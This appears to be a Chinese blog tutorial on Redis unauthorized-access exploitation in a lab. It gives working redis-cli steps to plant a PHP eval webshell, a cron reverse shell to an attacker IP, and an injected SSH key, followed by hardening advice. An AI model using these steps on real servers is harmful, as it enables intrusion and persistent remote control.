zoukankan      html  css  js  c++  java
  • redis未授权访问漏洞&简单利用&总结

    Redis未授权访问漏洞

    1、Redis是什么?

    Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
    它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。


    相比于其他数据库类型,Redis具备的特点是:
    C/S通讯模型
    单进程单线程模型
    丰富的数据类型
    操作具有原子性
    持久化
    高并发读写
    支持lua脚本

    2、环境搭建和基本命令

    安装环境:

    下载
    wget http://download.redis.io/releases/redis-4.0.11.tar.gz
    
    解压
    tar -zxvf redis-4.0.11.tar.gz
    
    切换目录
    cd redis-4.0.11
    
    编译
    make & make install
    
    运行redis
    cp redis-benchmark redis-cli redis-server /usr/bin/
    
    

    这里可能会出现两个报错或配置问题,解决方法参考:
    https://blog.csdn.net/weixin_30572613/article/details/94879855
    https://blog.csdn.net/rongDang/article/details/90601033
    https://www.cnblogs.com/richerdyoung/p/8066373.html
    1)启动 redis 服务器,打开终端并输入命令 redis-cli,该命令会连接本地的 redis 服务。

    $ redis-cli
    redis 127.0.0.1:6379>
    redis 127.0.0.1:6379> PING
    PONG
    

    在以上实例中我们连接到本地的 redis 服务并执行 PING 命令,该命令用于检测 redis 服务是否启动。
    20在远程服务上执行命令
    如果需要在远程 redis 服务上执行命令,同样我们使用的也是 redis-cli 命令。

    $ redis-cli -h host -p port -a password
    

    3、漏洞

    kali:192.168.1.111
    redis漏洞服务器:192.168.1.216

    1)未授权访问漏洞

    需要先在本地开启redis,然后远程登录有漏洞的redis
    redis-cli -h 192.168.1.216
    查看敏感信息:
    redis 192.168.1.216:6379> info
    redis 192.168.1.216:6379> keys *
    

    2)写入webshell

    (需要知道web路径,这里假设为apache默认路径/var/www/html)

    192.168.1.216:6379> config set dir /var/www/html
    OK
    192.168.1.216:6379> set xxx "
    
    
    <?php @eval($_POST['z']);?>
    
    
    "
    OK
    192.168.1.216:6379> config set dbfilename webshell.php
    OK
    192.168.1.216:6379> save
    OK
    192.168.1.216:6379> 
    

    然后蚁剑连接:
    webshell.png

    3)crontab里写定时任务,反弹shell

    kali监听:nc -lvvp 4444
    redis:
    192.168.1.216:6379> set xxx "
    
    */1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.111/4444 0>&1
    
    "
    OK
    192.168.1.216:6379> config set dir /var/spool/cron
    OK
    192.168.1.216:6379> config set dbfilename root
    OK
    192.168.1.216:6379> save
    OK
    192.168.1.216:6379> 
    

    1分钟后,kali收到了返回的shell
    cron.png
    注意这里需要开启redis服务器上的crond服务

    # service crond status
    crond is stopped
    # service crond start
    Starting crond
    

    4)SSH免密登录redis服务器

    这里需要redis服务开启了ssh服务
    首先先在kali里生成ssh公钥和私钥,将公钥保存到key.txt,并且保存在redis服务器的缓存中

    kali:
    root@kali:/root/.ssh#ssh-keygen-t rsa
    root@kali:/usr/local/redis# cat /root/.ssh/key.txt | redis-cli -h 192.168.1.216 -x set xxx
    OK
    root@kali:/usr/local/redis# redis-cli -h 192.168.1.216
    192.168.1.216:6379> config set dir /root/.ssh
    OK
    192.168.1.216:6379> config set dbfilename authorized_keys
    OK
    192.168.1.216:6379> save
    OK
    192.168.1.216:6379> 
    

    先看一下没有save前的ssh登录,需要密码:
    ssh1.png
    save之后不需要密码即可登录:
    ssh2.png

    4、防范方法

    到redis安装目录下,配置redis.conf文件:
    1、默认只对本地开放
    bind 127.0.0.1
    2、添加登陆密码
    >>修改 redis.conf 文件,添加
    requirepass  mypasswd
    3、在需要对外开放的时候修改默认端口(端口不重复就可以)
    port 2344
    4、以低权限运行 Redis 服务(重启redis才能生效)
    >>为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
    5、最后还可以配合iptables限制开放

  • 相关阅读:
    关于SDK-manager中我们需要下载哪些?
    不只是撸代码搞鸡汤,也有故事!
    [Selenium]如何通过Selenium实现Ctrl+click,即按住Ctrl的同时进行单击操作
    【设计模式】单例模式
    【Java多线程】线程池学习
    【leetcode】147 Insertion Sort List
    【webssh】shellinabox搭建
    【SpringMVC】一次处理项目中文乱码的经历
    【Java多线程】JUC包下的工具类CountDownLatch、CyclicBarrier和Semaphore
    【leetcode】3 SUM
  • 原文地址:https://www.cnblogs.com/zw1sh/p/13812427.html
Copyright © 2011-2022 走看看